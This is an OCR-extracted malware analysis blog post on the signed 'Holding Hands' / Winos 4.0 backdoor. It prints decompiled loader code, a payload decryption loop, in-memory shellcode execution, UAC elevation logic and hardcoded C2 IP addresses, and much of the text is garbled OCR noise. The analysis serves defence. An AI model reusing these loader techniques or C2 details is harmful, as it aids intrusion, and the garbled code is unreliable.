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Tracing Silver Fox The Winos 4.0 Campaign Behind Operation
Holding Hands

Published: 2025-06-10 - Archived: 2026-04-05 20:25:09 UTC

Introduction

— Increasingly, malware authors are leveraging legitimate digital signatures to evade detection and raise user
trust. Recently, I analyzed a backdoor sample that also uses a valid digital signature to appear benign. This
particular sample stores references to key functions either within the executable’s filename or in an accompanying

INI configuration file. During execution, it dynamically reads these references to perform it’s tasks.

C Reanalyze == Similar - More

928388f122af98eb62bf61622a42303f67 iz it s Dat %L

196.84 KB

detect-debug-environment  spreader  overlay  signed  G4bits

— Today, we examine a malware sample named “45-5%| % E )& %l % t.exe” (translated as Notice of Salary
System Revision.exe), which was distributed through a phishing website targeting Japanese users.The stolen
certificate belongs to “Sid Narayanan Ltd” and was recently signed. The following campaign has been using many

different Digital Certificates.
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Digital Signature Details ? =
General  Advanced
— . Digital Signature Information
.
*i-i/ This digital signature is Ok,
Signer information
Marmne: |Sid Marayanan Ltd
E-mail: |N|:ut available
sigring time: |sunday, May 18, 2025 8:02:07 AM
View Certificate
Countersignatures
Mame of signer; E-mail address: Timestamp
DigiCert Timesta... Mot available Sunday, May 18, 20...
Details

— Upon opening the “44-5%I EBUE D & 5+ .exe” sample in PE Studio, we observed several suspicious
imports indicative of malicious behavior, including ShellExecute , WriteFile ,and Loadlibrary .

Additionally, we discovered a PDB (Program Database) path embedded in the binary:

D:\Workspace\HoldingHands-develop\HoldingHands-develop\Door\x64\Release\BackDoor.pdb

This provides a strong indication that the executable functions as a backdoor.Interestingly, this particular PDB

string has been observed in multiple samples associated with this campaign, hence giving the title for the blog.

PE Analysis
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— The code initializes a SID (Security Identifier) with specific values and checks whether the current process
token belongs to a group associated with the Administrators SID. This helps to determine if it’s running with

elevated privileges or not.
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if ( IsMember )

{
if ( SHGetFolderPathW(0i64, 164 » (LPWSTR)Filename) )}

return

164) && GetlLastError()

DirectoryW(&Stringl,

— The malware checks if the current user has administrative privileges and retrieves the CSIDL_LOCAL_APPDATA
directory(C:\Users\User\AppData\Local).It creates a directory named a within this location.It then constructs a
file named a.zip inside this directory and obfuscates the payload data using a multi-byte transformation based

on a fixed in-memory key. The obfuscated data is written to a.zip
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memset(&pExecInfo, 0, 0x68ui6d);
ProcessInformation.hProcess = 0164;
ProcessInformation.hThread = 0164;
*(_QWORD *)&ProcessInformation.dwProcessId = 0164;
pExecInfo.chSize = 104;
HIDWORD(pExecInfa.hInstApp) = 1;
LOWORD( pExecInfo.lpIDList) = 0;
memset (&ApplicationName, 0, 0x208ui64d);
wcscpy_s(&ApplicationName, 0x104ui64, (const wchar_t *)Filename);
wcscat_s(&ApplicationName, 0x104ui64, L"\\Run.exe");
CreateProcessW(
&ApplicationName,
0i64,
0i64,
0164,
0,
0x10u,
0164,
(LPCWSTR)Filename,
(LPSTARTUPINFOW)&pExecInfo,
&ProcessInformation);
return 0;
}
CloseHandle(v7);
}

return 1;

— The malware constructs a full path to Run.exe ( C:\Users\johndoe\AppData\Local\a\Run.exe ) and launches
it via CreateProcessW with CREATE_NEW_CONSOLE , ensuring a clean startup state using a manually initialized
SHELLEXECUTEINFO structure.

— If the direct process launch fails or as an alternate execution path, it falls back to ShellExecuteExA , using the

“runas” verb to relaunch itself with elevated privileges,to bypass UAC and escalate privileges.

I was going through the disassembly and trying to figure out how the a.zip is unzipped
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if ( CoInitialize(0ig4) < 0@ )
return @;

if ( CoCreateInstance(&rclsid, 0164, 1lu, &riid, &ppv) < 0 )
{

CoUninitialize();

return 0;

}

VariantInit(&pvarg);
pvarg.vt = 8;
pvarg.llVal = (LONGLONG)SysAllocString(psz);

v5 = (*(__int64 (__fastcall **)(LPVOID, VARIANTARG *,
(*(_QWORD *)ppv + 72))(ppv, &pvarg, &v33);
VariantClear(&pvarg);

_int64 *))

if (v5 <0 || 'v33)

{
(*(voild (__fastcall #**)(LPVOID))(*(_QWORD *)ppv + 16))(ppv);
CoUninitialize();
return 0;

¥

v23 = (*(__int64 (__fastcall #**)(LPVOID, VARIANTARG *, __int64 *))
(*(_QWORD *)ppv + 72))(ppv, &v37, &v32);

VariantClear(&v36);

(*(void (__fastcall **)(LONGLONG))(*(_QWORD *)v34 + 16))(v34);
(*(void (__fastcall **)(__int64))(*(_QWORD *)v32 + 16))(v32);
(*(void (__fastcall **)(__int64))(*(_QWORD *)v33 + 16))(v33);
(*(void (__fastcall *x)(LPVOID))(*(_QWORD *)ppv + 16))(ppv);
ColUninitialize();

return v26 >= 0;

— The code initializes the COM subsystem using CoInitialize , then creates an instance of a COM object

via CoCreatelInstance to perform operations on the ZIP file.

— It constructs a VARIANT containing the full path to the ZIP archive, wrapping it as a BSTR . The method (*

(__int64 (__fastcall **)(LPVOID, VARIANTARG *, __int64 *))(v4 + 72)) is called to invoke the unzipping.
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FTEQ | LA I W L 233 ) T S DU
E&NT qword ptr ds:[<CreateFilew:]
mov rix,rax ribx:&L"C:\\Usersi johndoe\\AppDatasLocalyhavha.zip"
cmp rax,FFFFFFFFFFFFFFFF

je sample.7FFE92783071

mov dword ptr ss:|Brbp+2of,4D3C2B1A

mov byte ptr ss:[frbp+24],5E EE:"A'
mov rlo,rsi rl0: "onecoreyh comb combasey\classhycompobj. cxx™
Tea ri4,qword ptr ds:[7FFG692789040]

mov r11dil
sub rdi,rl4

Cq mov rl15,CCCCCCCCCCCCCCCD

Tea r9,qword ptr ds:[rio+ri4]
mav rax,ris

mul rlo ri10: "onecoreh’ comh combasel\classh\compobj. cxx™
shr rdx,2

Tea rax,qgword ptr ds: [rdx+rdx=4]

mov rcx,rio ri10: "onecoreh’ comh combasel\classh\compobj. cxx™

sub rox,rax

mAiry aav hera are cotlBehnoesvoondl

|_|j, Modules
|_E!, a.zip
Run.exe

Run.exe
| config 5/30/2025 10:26 PM File folder
collalautriv.aoml 4/27/202512:24 AM #ML Document
| | CreateFilea 5/8/2025 8:20 PM File
| | DwhsOgnbdrr.dat 4/7/2025 8:24 PM DAT File
chpi et 5/18/2025 7:43 PM Text Document
@ kernel32.dll 47772025 3:25 PM Application exten...
| key.pp 5/8/2025 8:23 PM PP File
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GetModuleFileNameA(@i64, &Filename, Bx164u);
lstrcpyA(Stringl, &Filename);

vs = lstrlenA(Stringl) - 1;

ve = v5;

if (vs>=8)

while ( Stringl[ve] [= 92 )
i
=33
if ( --vE < @)
goto LABEL _4;

&

8 = v5 + 1i64;
if ( vE >= Bx1e4 )

report_rangecheckfailure();
ﬁfaxmaaal?mim) ;
1

Stringl[v8] = @;

=

¥

ABEL_4:
memset (&Dst, @, @x1B4uisd);
lstrepyA(8Dst, Stringl);
lstrcatA(&Dst, "\\*");
v7 = FindFirstFileA{&Dst, &FindFileData);
if ( v7 == (HANDLE)-1i64 )

GetLastError();

}

else

iFileData,cFileName[@] != 46 || FindFileData.cFileName[1])
leData.cFileName[@8] != 46 || FindFileData.cFileName[1] != 46 || FindFileData.cFileName[2]) )

if ( FindFileData.dwFileAttributes & @x1@ )
{
g
lstrepyA(::Stringl, FindFileData.cFileMame);

- Initially it gets the executable’s full path using GetModuleFileNameA and extract directory from the

path.Search for files in the same directory and skip ., .. and itself.If exactly one directory is found, then

only proceed.
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sub_laceeleed(vis, LibFileName, @ied4, 12);
htodule = LoadLlibraryA(LibFileName);
if ( hMedule )
1
memset(String, @, @xleduisd);
v1ll = GetModuleFileNameA(®if4, String, B:164u);
if ( vil )

if ( vil != 268 )

1
vl2 = lstrlenA(String) - 1;
v13 = vlZ;
if (viz »=8 )

while { String[v13] != 92 )
1
--w12;
if ( --vlz < 8 )
goto LABEL 26;

}
String[vl2] = @;

b
b

LABEL 26:
lstrcatA(String, "\\");
lstrcatA(String, ::5tringl);
*( QWORD *)String? = ©i64;
val = BiBd;
vdl = 83
w35 = 7833812;
sub_lapaelees(vld, String2, (const CHAR *)&v35, 8);
lstrcatA(String, "\\");
lstrcatA(String, String2);
v15 = GetProcAddress(hModule, "CreateFiledA™);
vle = {wvoid *}({(__inte4 (_ fastcall *)(char *, __inte4, _ int64))vls)(String, Ox36060000i64, 1isd};
= v1B;

iF ( vi6 1= (void *)-1i64 )

if { GetFileSizeEx(vle, &FilesSize) )
1

v19 = FileSize;

viG = J25372254;

V34 = 263

— Next up, it uses the function sub_140001000 to traverse a directory and pick up file names. In this case, it’s
grabbing a filename like kernel32.d1ll from a directory of dummy files. Then, it passes this name to

LoadLibrary , pretending to load a legit system DLL.

CC int3

48:895C24 08 mov gword ptr ss:[rsp+8],rbx LoadLibrarys

48: 897424 10 mov gword ptr ssifirsp+10f,rsi

57 push rdi

48: 83EC 20 sub rsp,20

48: 8BF9 mov rdi,rcx rcx: "kernel3zz. di1™
458: 85C9 test rox,rox rex: "kernel3z. d11"

— Combine directory + Stringl + a second string(.txt) which points to a paylead file inside the directory. In

our case it’s dxpi.txt .
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oo

GetProcAddress(hModule, “"CreateFilea™);

=
L
]

16 = (vi5)(String, Bx30000000i64, 1i64);
v17 = vi16;
if ( vie != -1ig4 )
1
if ({ GetFileSizeEx(vle, &FileSize) )
1
wld = FileSize;
wii = J23372254;
v34 = 26;
*String2 = @i6d;
A8 = @i64:
A1 = @
w35 = 7185912;

sub_l4eeeleeavls, String2, &v35, 16);
lstrlenA(String2);

String2[4] -= 32;

#(&udo + 3) = (BYTE3(v42) - 32);

v2B = lstrlenA{String2};
w21 = v28:
w2e f= 23
w22 = v28;
if...
w27 = GetProcAddress(hModule, String2);
if ( w27 )
1
v28 = (v27)(ei64, v19.QuadPart, 12288i64, 64i64);
if ( w28 )
1
w29 = GetProcAddress(hModule, "ReadFile™};
w38 = GetProciAddress(hModule, "VirtualFree™});
vIE = 8
w31l = v38;
if ( 1(v29){vl7, w28, vio.LowPart, &v36, BiG4) )
1

{(v31)(v28, vi9.QuadPart, Bx2000i64);
CloseHandle(wl7};

¥

— CreateFileA , ReadFile , VirtualFree , and other Windows APIs are resolved dynamically with
GetProcAddress .Open the payload ( CreateFileA ) with GENERIC_READ .Get file size with

GetFileSizeEx .Allocate memory dynamically with VirtualAlloc and read file contents into memory.

—_

for (1 = @0; 1 < FileSize; i++)
2 buffer[i] = (buffer[i] - key[i % 5] + 256) % 256;

— Simple decryption loop using key which is derived from a constant ( v33 ) and cast buffer to a function and

execute it.

Dynamic Analysis
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OD0OTFFT 7EAFL148C
OD00TFF776AF 1430
OD0OTEFT T EAF 1497
OD0DTFF77EAF143C
OD00TFFT7EAFL4AL
ODOOTFFT7GAF L4AE
OD00FFFT TEAFLIAF
ODOOTFF77EAF14BS

ODOO7FFFT7EAFL4ED
O0007FFT7EAFL4ES

3418048 0B
66:C74424
CEa424 4A T4

E8 SFFEFFFF
4818015 D41DO000
48:EDED DOOODOOD
FF15 TS1E0O0OD
48:ED95 ADOODOOO

48:837CI4 30

CT4424 28 80000000

48 T4THE

Tea rad,qword prr dsi[rax<Eg]

mov word ptr ss5:frspr48),7E73

mov byte prte ssifrspedall, 74

€A1 run, FFF7TEAF 1000

lea rdx,gword pTr ds:[TEETFSARIETE]

lea rox,gword ptr ss:frbops0oj
gword prr ds: [<15TFCARA>]

ea rdx,gword ptr ss’lrh:l-—\tl

mav gquord ptr ssifrspr3of,rdi
mov dword ptr ss:frsp+28),E0

O0007FFT7E6AF14ED 48: EDED DODODODD Jea rex,gword ptr ss:Brbp-Dof
OO000TEFTFEAFL4E S 24 00000080 mov edx, 50000000
QDOQTFF77GAFL14F 3 C74424 20 03000000 mov dword ptr ssilrsp+rzofl,3

Tds"E"

ODOOFFFT 7EAFL14BC 43: EDED DOOODOOD T2 rix, q-wrd prr zi:frbp+00

O0D007EFTTEAFL4CE FF15 671B000D €am grord ptr ds: =1strca.\:b

OD00TFFT7GAFL4CS 43:8800 90410000 mav rex, qu.ord pTr YFF?‘IHFSEW rex:"ecallalautriv. x=l™
0D007EFT7EAF 1400 4818015 B1100000 Tea _rdx,qword prr a_=. TEFT7GAF3288 O0007FFTTGAF3288: “Createriles”
OO007FFT7GAF14D7 FF15 7B1B0000 g8l quord ptr ds: [<GetProcaddresss]

00007EFT7EAF L1400 4512308 sor r'9|:|,r9~u

OO0OFEFTTEAFLSOL 4518041 01 lea red,qword pTr dsi[ra+l]
00007FFT76AF1505 FFDO gall rax
ODOOFEFT FEAFLSOT 4C:EBFE mav rl5,rax
O0D007FFT7EAF L1504 48:83F8 FF cmp rax,FFFFFFFFFFEFFFFF
---# (| 0000TFFT76AF1S0E « OF§4 DTO20000 & run.7FFFTEAFLT1B
OO00TEF776AF1514 48:805424 S0 ea rdx,gword ptr ssifrsps5of
O0007FFT76AFL519 43:88C3 mov rFex,rax rex:"collalautriv. wml"”
O0000TFF776AF151C FF15 EG1A0O00D €all gword prr ds:[<GerFilesizeExs]
OOOOFFFT7EAFLS22 B5COD TEST eax, eax
==-# |0DOOTFFT7GAF1524 = 75 OE jne run. 7EFT7EAF1S34
#||0000TFFT7EAFLSZ6E 49: 8BCF mav rcx,ris rex:"callalavtriv. xml™
®|0000FEFTFEAFLIS2S EF15 21180000 &l gword pre ds:[«CloseHandles]
—#||00007FF77GAFLS2F “ EZ EFDL1O0D0 imp run.7FF776AF171E
=3 24 08 |createFiles
- 48887424 10 [rsprig]:CreateFi1les
Ll & $0:897C23 18
- 5%
- & EC
. 48:83EC 60
® 2
. 4903800
- 46 8801 rex: "GN user s\ johndoe’ AppDatat\Lacalihah huedulesh \depd . Tae”
. 41:88F5
- 45: 5040 EO Tea rex,guard mr -;-lru -20ff
. 48:FFI5 BIEBLADD EEM qrard ptr o -w.ﬂmimutrimi:
- OFLF4400 OO nop dword 9" d: rax+rax],eax
- B5CO TEST &an
- = OF§E 80550900 Js I:Ifl'ltilﬂ.lt. FEFRICICHA+A
® B 4518805 EFOEIE00 Ay FAx, qwdrd pIr 03 [<LINP.IREIAASISTR| raxiCreaterilea
00007 FFEICISEDL 45; 5055 EO Tea rdx,guord ptr zsilrbp-208
#|00007FFBICS35ERS 41:B0 0L mav rab, L
- \JMU?FFSKMSED& 4818040 DO Tea r::-t.qm:rd pir ss:frbp-3 [rop-30] 1Arefilespi sANST
# [ovaozEr FF15 BEFBLAOO d prr ds: [PRFBBCAESARA]
- TEST £a u
e F + DFBE 50550300 35 I:erne‘lhau FEFBICICEAZA
3 oa-'.-o FFB3CHISEEA 5840 35 moy ecx,dword ptr siifrup+3s]
# |00007FFBIC 935 EED WOV e, S0
#|00007FFEICI3SEEF 35 BTTFO0O0 and eax,7FE7
- 'i CHELEF 4 €740 B0 20000000 mov dword pre rop-20f , 20 20:" "
. BICIISEFD 4 mdy @word pre ssifrop-icl, eax
s |acanreraacassere 1
# |00007FFBICIISFOD 25 DODIFOFF
. TFFE3ICH35FO5 545 EB
» FB3C35FOB OFEAES 14
~g C A5 FOC ~» 72§D
# loog FBICHISFOE §366 EC 00
100007 FFBICHIEF1Z 45:5845 40 Fax;Createrilea
# |0D007FFBICIISFIE $BBLT
#J00007FFEICS3EF19 £36424 28 00
. ZBDE
- 4300040 30
- 4 40 p=28]: c:‘nusers‘1]unndetﬂapwuau..ecn1\.a\w0:hr1ts\ . TRE"
3 45:5945 F8 rax.Cren 1Tea
- + 45 rax.creutzFﬂeA
® 481894424 20 raxrCreateFiles
. 43 Hiﬂ Fa
- € 2000000
- FBICIISFIE -lB 504D DO [rbp=30]:arerileapisANST
# |0000TFFBICI3SF42 455805 rasicreaterilea
#» J0000TFFEICSIEF4E 48:FFLS G4ESLADD quard ptr [<REVFreelni codestrin|
# J0D007FFEICI3EF4C OFAF£400 00 nop dword pir ds: [ras+rax) ,eax
#JOBHOFFFEIC SRS L 487883 mov rax,rbx rax:freatefiles
#OCI0FEFRICHISFS S ACB0EC2 GO Tea rll.qwel-d_ per ss:ffrsproo]

— It reads the the payload from dxpi.txt inthe modules directory.Read the collalautriv.xml file in the same
directory to get the VirtualAlloc function name, and then get the VirtualAlloc function address, as shown

above.
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— Since we know it’s using VirutalAlloc we can put a breakpoint on it and find the memory address where the

memory is being allocated.We can follow the memory in dump since we know it’s going to decrypted.

-3

saeseBBRRBRBR RN

i
1
enee

00007 FF7 7 6AF169F
00007 FFF 7 6AF16A9
00007 FF7 7 6AF1L6B0
00007 FF7 7 6AFL1GE3

00007 FFF 7 6AF1GEG
00007 FF776AF1G6ED
00007 FF7 7 6AF1G6ED
00007 FFF76AFLGC1
00007 FF776AFL1EC 4
00007 FFF 7 6AFL16CS
00007 FF7 7 6AFL16CE
00007 FF7 7 6AFLED0D
Q0007 F GAF1EDE
00007 FF7 7 6AF16DC
00007 FF7 7 6AFLEDE
G6AF16ED
6AF1GEG
6AF1GES

a b

49: B9 CDCCCCCCCCCCCC] mov

OFL1F80 00000000
49:8BC1

48: BBCF

48: FFET
48:C1EA D2
48: BD0O492

48: 2BCS
OFB&440C 40
42 0FBG0OC3T
2BCSH

81C1 00010000
81E1 FFOOQOOE0
7D 0A

FFCD

51C% 0OFFFFFF
FFC1
42:880C37

48: FFCT

48: 3BFE

72 BC

41:FFD&

nop
mowv
MoV
mul
shr
Tea
sub

sub
add
and
Jjge
dec
inc

inc
cmp

J W oRANEE A E B od @ A e w

r9,CCCCCCCCCCCCCCCD
dword ptr ds:[rax],eax

rax,r3

rcx, rdi

rdi

rdx, 2

rax,gword ptr ds:
rCX, rax

movZx eax,byte ptr ss:@rsp+rox+40]
MoVEX ecx,byte ptr ds:[rdi+ril4]

eCx, eax

ecx, 100

ecx, 800000FF
run. 7FFF776AF1GES
ecx

or ecx,FFFFFFO0

2Cx

mov byte ptr ds:[rdi+ril4],cl

rdi
rdi,rsi

jlr run.7FF776AF16B0

ri4

[Fdx+rdx=4]

— We have the decrypted payload below which will be executed in the memory.We can step over the point after

the decryption to see what the payload does.
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Address ASCITI

0000 LASFBEIEQDOD
000001ASFESEQDLD
000001LASFEREQDZD
000001LASFEIEQDID
000001LASFEIEDDL4D
00000 LASFEIEQOS O
000001ASFEIEDDED
000001ASFEREQDT O
00000 1LASFBEIEDDED
000001ASFEIEQDSD
000001ASFBEIEDDAD
000001ASFEIEQDBD
000001ASFESEQDCD
OOO000LASFESEQODOD
000001ASFESEQDED
000001ASFESEQDFD
0000 LASFBEIEQLOD
000001ASFESEQLLD
000001LASFESEQLZD
00000LASFEIEQLID
000001LASFESEQLAD
00000 LASFEIEQLS D
000001ASFESEQLED
000001ASFEREQLT O
0000 LASFBEIEQLED
000001ASFESEQLSD

89 5C 24
24
25
45
3C
SE
oD
CE
45
47
75
5B
4B
10
24
06
66
&4

08
AD
&0

3
FF
00
24

57
FF
oo
41
o1
18
Fa
49
D1
c1
55
8B
ca
44
43
0OE
43
DD

41
48
45
48
B8
45
c4
FF
B3
EE
17
4B
BE

54
81
33
5B
oo
85
4B
c1l
CA
D7y
BE
24
o4
42
=1
89
45
16

41
EC
E4
40
00
DE

55
&0
41
10
0o
74
0c
B4
41
FA
74
03
33
FF
0z
48
85
89

41
OE
83
4
49
55
9E
D2
80
93
oA
C&
D2
Do
00
o2
50
BL

56
00
co
5B
03
44
46
74
FA
o1
45
42
49
48
00
00
02
58

41
0o
FF
40
D8
8B
2B
2E
19
0o
85
0F
03
ES
43
00
0o
02
&0
a5
a9
44
44
B3
a3
aD

57
65

48
30
49
73
oc
41
45

o1
DE
BT
co
3C
ES
48
o0
o0
oz
58
44
24
24
DA
53
50

H. "\ 5. UWVWATALAVAW
H.-% ovH. .8
H..% ...E3aa.ivH
.|$AH.@.L.@D
ICH<B I.8I
ietAD. [.E.DtUD.s
E.Y:iD.BAK...F.
.M.EE..IVAE. bt. A
CHEE*x.NL.E A.0.E
CGRIVAIRIO. ...
E.bul.yu.%8t.E. D
U H..B..K$I.EB. .
YLOKLILE...30IA
Hewuwo D.BIVEH <
£.35p. . H..@...H,
.0.&.8.H..H...H
_ATBI®H.H..P...
H *d.!i¥y.H..
.H_86G...POH.. .
.H_Hd7&Rv.AH. . h
...H, .ExXBV+yoH.D
tPH_"en@DcItH.DE
XH &i..08..(T.0D%
P.W.&...H.DE H O
LUN.® yH.DShH_. 5
Eh@88s=T_ oL .W.P

f=1=)
40
63
D&
45
40
BE
11
B4
AF
59

o4
15
48
74
03
03
CA
OF
D2
45
3B

42
44
EF
45
2A
Dl
DA
00

5B
03
11
8B
FF
FF
85
03
00

45
20
69
EB
43
91
33
40
BE
59
48

o6
DE
26
35
9F

24
B4
59
BE

B0
DA
C5
B3

B3
48
7F
FF

AD
AE
EE

00
oo
50
48
OF
FB
5C

45
00
45
BE
57
4E
EA

BS
48
BE
AD
BE
9
EB

45
BB
BO
ED
40
AE
3C

Bb
4B
FA
00
o0
9
66

cz
78
40
F&
o0
45
OF

52
Do
4F
87
48
89
&F

76
5G
63
14
89
44
4C

BT
Bl
cC
28
44
24
24

S5E
FD
D
153
24
65
&0

45
GF
45
OF
&0
45
OF

59
48
89
&F
48
B&
57

— The payload starts of by using CreateDirectoryA to create a fake update directory in the path:

C:\Program Files (x86)\WindowsPowerShell\Update and creates some files in the same directory.

BE4E 1T X, word pte s [rhxeis] r-n.|< i rkT5EraBT edFor Froc e EwWorker +IT0FC
420 ar.ld rc\ r& Xz "LV Program Fi :C'l h'ndon.—vmer\.re dare”
BED491 =av cu,mu prr ds:[rexardx-al rExe ||l'\. £H Wherogram r|'| (66 W1 RdowsPower 55 rn updaze”
FIDT ®xor edx,edy
48z OB add rax,r& raxiireatedirecionya
465 BDED 10060000 Tea res, owerd prre satffrbprciof
|eall rax |rax:createnirectorys
= TEST edx, £in
5 G
raK; Createi reeter YA
2 BB BKIErEATEN FELTOr YA, FAK+1BIEr EATEDT FECTOr YRS
2 FAKICPEATED| FEETEryA, FANSL0SCFEARED] FRETEF YN
: CreateFtien
o o ] Program FIles [x86)\\WindowsPower Shel 1y usdare
4ZIEEICOL BBO0000O | Sav £ba,dwied BEF dst[rixs i ai)
4820108 add rbo,ri rh:Gui rkIsErabl edfor Frocessworker+270ED
492 SEOB oap rho,ra rhi g PISEnaR] &df or ProCes SWorker +270E0
= T4 5F §& IE0ALOC0GY
AdzHELE 18 mgv riid,dword pir di:[rbx+id] rhx+18: QuirkIsEnabledForProcessworker+2ToF
45z BEDE Test Fiid,riad
= T4 5§ f¢ Z50AIDG00RY .
Ad; BBTE IO =gy ridd,dwerd pir ds;[rbx+2o] rhx+ 20 QuirkIsErabl edforProcessworker+ 27100
450l add riid,ra2d
BF ORLF4083 sav ed
4Bz EOC93 Tea reximeerd ptr dss{raeril 4] rEK: TE3VAProgram Files (%861l ndowsPowershel 11 update”
462 BEOCEL moy rid,owerd por ds:lroxeris)
4DzOICE add £3,05 ro:*
AETBA1L mav ride,byte ptr dszra] ro:
smzazer add r3,r1s Fai-Ereatent FeLTOryL “
45: B0 Eadt riod,riob
T4 TF je 25041020040
s1TOFBECS BOVIN ELN,FI00
41:BOEA 41 Bub rLoB,d8
EEDL =gy ed\.cc\
BICA 20 or ed,
41:BOFA 19 g r158,
A5 BAll mov ridt, W'Ie pir dsifra) ro;"CreatedirectoryEna”™
Q4701 i
ABZOICF r9: groatenirecter yEnA”
T
LIFA 23010008
452 Q402
~ 75 D9
E1FF 10299848
T4 04
45D BIDE
75 AL
4Bz BEOO rax:Createlirectoryh
1T

Fanmakerne

<« Program Files (x86) » WindowsPowerShell » Update v | D .
Mame Date modified Type
55
- | ] code.bin B/11/2025 12:46 AM EIM File
| ] confighd.bin /1172025 12:46 AM EIM File
s A megDb.dat 6/11/2025 12:46 AM DAT File
nts o simg6d.dll 6/11/2025 12:46 AM Application ext
- [85] TaskServer.exe 8/11/2025 12:47 AM Application

B TaskServer.ini

B/11/2025 12:47 AM
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— Using the same technique it reads Settings key and it’s corresponding value from the TaskServer.ini

which contains some placeholder variables having windows API calls such as VirtualAlloc

it’s values and allocates memory using VirtualAlloc

Letrentafvas,

*{_QuoRD *)

w37 = BLL;

¥3G = B

GetPrivateProfilestringa( settings™, "b",
ReturnedString);

stdcoll *)(LPCSTR, DWORD, DWORD,

1H
rnedstring = BLL}

Aoefault, Returnsdstring, Bxldu,

fnthd (_ fasteall __int64, _(WORD, inmt, int,

s,
BnZooueasaLL,
L,
aLL,

;
128,
BLL);

*J(CHAR *, _ int6a,

4 = (void "B({_

= (vold "}-lLl )
return =1
if { 1GetFilesizebx{vid, BFilefize] }

Closesandlefw1s);

return -1;
w17 = FileSiz c;
= = BLL;

“¢”, BDefault, ProcMase, @xldu, St

¥

GetPrivatePr

wlE = Loadlibrarya(

FrocAddress = GetProciddre

Wil m (vaid (*){vaid)){__
a

gAl“Settings™,
wrnedst 3 H
» Prochame);

+ (_fastcall =)(_gwoRD,

_QWORD, _QWORD, _

.

(LARGE_INTEGER)vIT .QuadPart,
12ZB3LL,
B4LL);
iF { lvan )
return <1

w21 & voadiibrarya(feturnedstring);

ET!E‘CSH\'! ini B3

LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE))GetProcAddress(

stringl};

Ay “CreateFileA™);

_QWORD) JCreateF iLed)(

ExitProcess as

I [Settings]

2 a=ExicProcess
3 E=karnaliz.dll
4 e=Virtualdllod

- It reads the contents of the msgDb.dat file and allocates memory accordingly to it’s size. The contents are

decoded similarly using the technique that was used earlier.

rex
3T odn, e
3% Tasksirver,7FFTO9T91554
'[ﬁ'[ FE1,F58
3¢ Raskserver, TFE7ORTE
oy reiececteieccecteen

e

FEXIRERIFTIE

19'2

1ne SaKServir. TPFTONTSIEA
san

.

nc eaw

u'u by:e pre ds:[rdisrae],al
ra

lprdl rs

!: BE Ib.tuluevu L TEETOSTILE 1O

mov rid, 000
BO% Fda,rst
=0y rEN,rid

riz
BON FCN,FLS

Gword ptr dns seHand]es=]
may ril,gword prr s sp+ o0l
HOP S8, EN

ey TEETARTAIICG

razivirouslfres

razvirtusTFree

TN qrord pur dcs [o0et Prxﬂ'l'ﬁs?)

Tea r:-c.mrn per ss1frbped

mev rhx,rax

Eal gword prr odss {<Loaduibraryas)

WOV rCk,FEk

1ea rds, quard pre uy[.::.mnzmt
pEr di: [<ge ehe>]

§§§=‘|

rBd, ex
aword per ssilfrspe
rdx,ris

rhxzReadrile

DO0OTFETOITAE2AN: “VIFLualFree”

rizzvircualFree
roxzmeadrile

GAX, GAX

askrerver, TFFTO3T 31554
£ orsi,

© ERSkSErvEr.TFFTOITILERL
el R e ]

Ergn

e

|V rax,rE
mov rex,rdi
=ul_rdl

----J FETRar 91 15

eanei
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— We can extract the shellcode using the memory dump, follow memory map and dump the shellcode.bin file on
disk.

= 5@
G2 = @5
sub_FF1{al, al » w32);
for i = w37
23 w sub_13119(al;, a2, (unsigned int}w3S, {unsigned dint)Bvél, w2i, wi2, w24, wii);
if [ 4 »m w23}
break;
vIB[1 - w37 - 1] = w35[i];
}
stropy(vad, “LINE.exe™);
stropy(v TaskServer.exe™);
if [ Hw int)sub_1213(al1, a2, int)vig " b}
11 1w int)sub_131&{al1; = int)vis N 2} )
1
vid = 1;
}
¥
¥
stropy(wad, "187.149,3%3.1837);
strepy(wdl, "206.238.221.2447);
24 = Bad@a2iSrdire4[ie];
LOWGRD{w15) = 100E6;
sub_1BB43(al, a2, {unsigned int)"Begin Start Heart Beat Thread ...7; (unsigned int)Bv3s, a%, }H
v = By
da
if [ (unsigred _ int8)sub_1B830(a1, a2, vE, 3B, w7, wE, w21} )
i
if ( fv20 B4 (unsigred Snt)sub_20019(al, a2, vi, a4, viD, 12
{
om o183
sub_1B0S7(al, a2, (unsigned int)8v38, a4, 4, vil, w22, wi6, w15)}
29 m 1
}
}
else if { v29 88 (unsigned int)sub 18018({al, a2, v3, a4, vi®, w11} )
yEl = 28}
sub 1BDEF(al, aZ, (unsigned int)&v31, a4, 4, v11, wii, vig, viE);
w10 = 8
2 w sub 10235001, aZ, w3, {unsign YaEG, . i bH
w33 = w32
if [ w32 »e @x2BF20 ER 24 )
if ( (unsigned int)sub_18019(al, a2, w1, a4, wli, v14) )
4w 183
sub_1BD&7(al, aZ, (unsigned int)R8v34, a4, 4, w14, w23, wie, vI3);
sub_1C338(
al,
a2,
{L t)"Heartheat packet sent successfully ...Wwn",
{u e )BvaT,
’
4,
s
quord_S3M6 = sub_1C433(al, a2, v17, (uas r)EvaE, » A bH
i

— The malware connects to the remote server with the hardcoded IP and maintains the communication status by

sending a heartbeat packets to the remote server every 1 minute.
Conclusion

— The Operation Holding Hands campaign showcases a sophisticated multi-stage infection chain. From
leveraging a stolen digital certificate to delivering modular payloads, the entire setup is crafted to bypass
conventional detection mechanisms. The fact that the payload is decrypted at runtime adds an extra layer of

friction for any form of static analysis.

What makes this more elusive is the way the decrypted payload is executed directly in memory using
VirtualAlloc , leaving minimal forensic artifacts behind. Combined with API name obfuscation via config

files, COM-based unzipping, and fallback to ShellExecuteExA for privilege escalation etc.

Page 15 of 17


https://cdn-images-1.medium.com/v2/resize:fit:800/0*zDpZaw2s_xfMhjvH.png
https://cdn-images-1.medium.com/v2/resize:fit:800/0*zDpZaw2s_xfMhjvH.png
https://cdn-images-1.medium.com/v2/resize:fit:800/0*9I-inPG62iN3-phS.png
https://cdn-images-1.medium.com/v2/resize:fit:800/0*9I-inPG62iN3-phS.png

https://somedieyoungzz.github.io/posts/silver-fox /

— One of the IP associated with the C2 servers has many files referring to it and upon further hunting we find the
sample is maybe associated with Winos 4.0 which mainly targets Taiwan.In one of the samples we find that it’s

targetting Japan as well with the regional language checking through registry keys.The Wt

C Reanalyze == Similar ~  More

206.238.221.244 (206.238.220.0/23)

AS 399077 ( TERAEXCH )

DETECTION DETAILS R COMMUNITY ' 1

Communicating Files (6) @
Scanned Detections
2025-04-15 1/68
2025-05-22

Win32 EXE
ZIP

4
3 675be53t OccaBf77ee53a67625b5d0adatdfadbf3s1fdfdfacsTbalfo
7

Files Referring (5) @

Scanned Detections Name
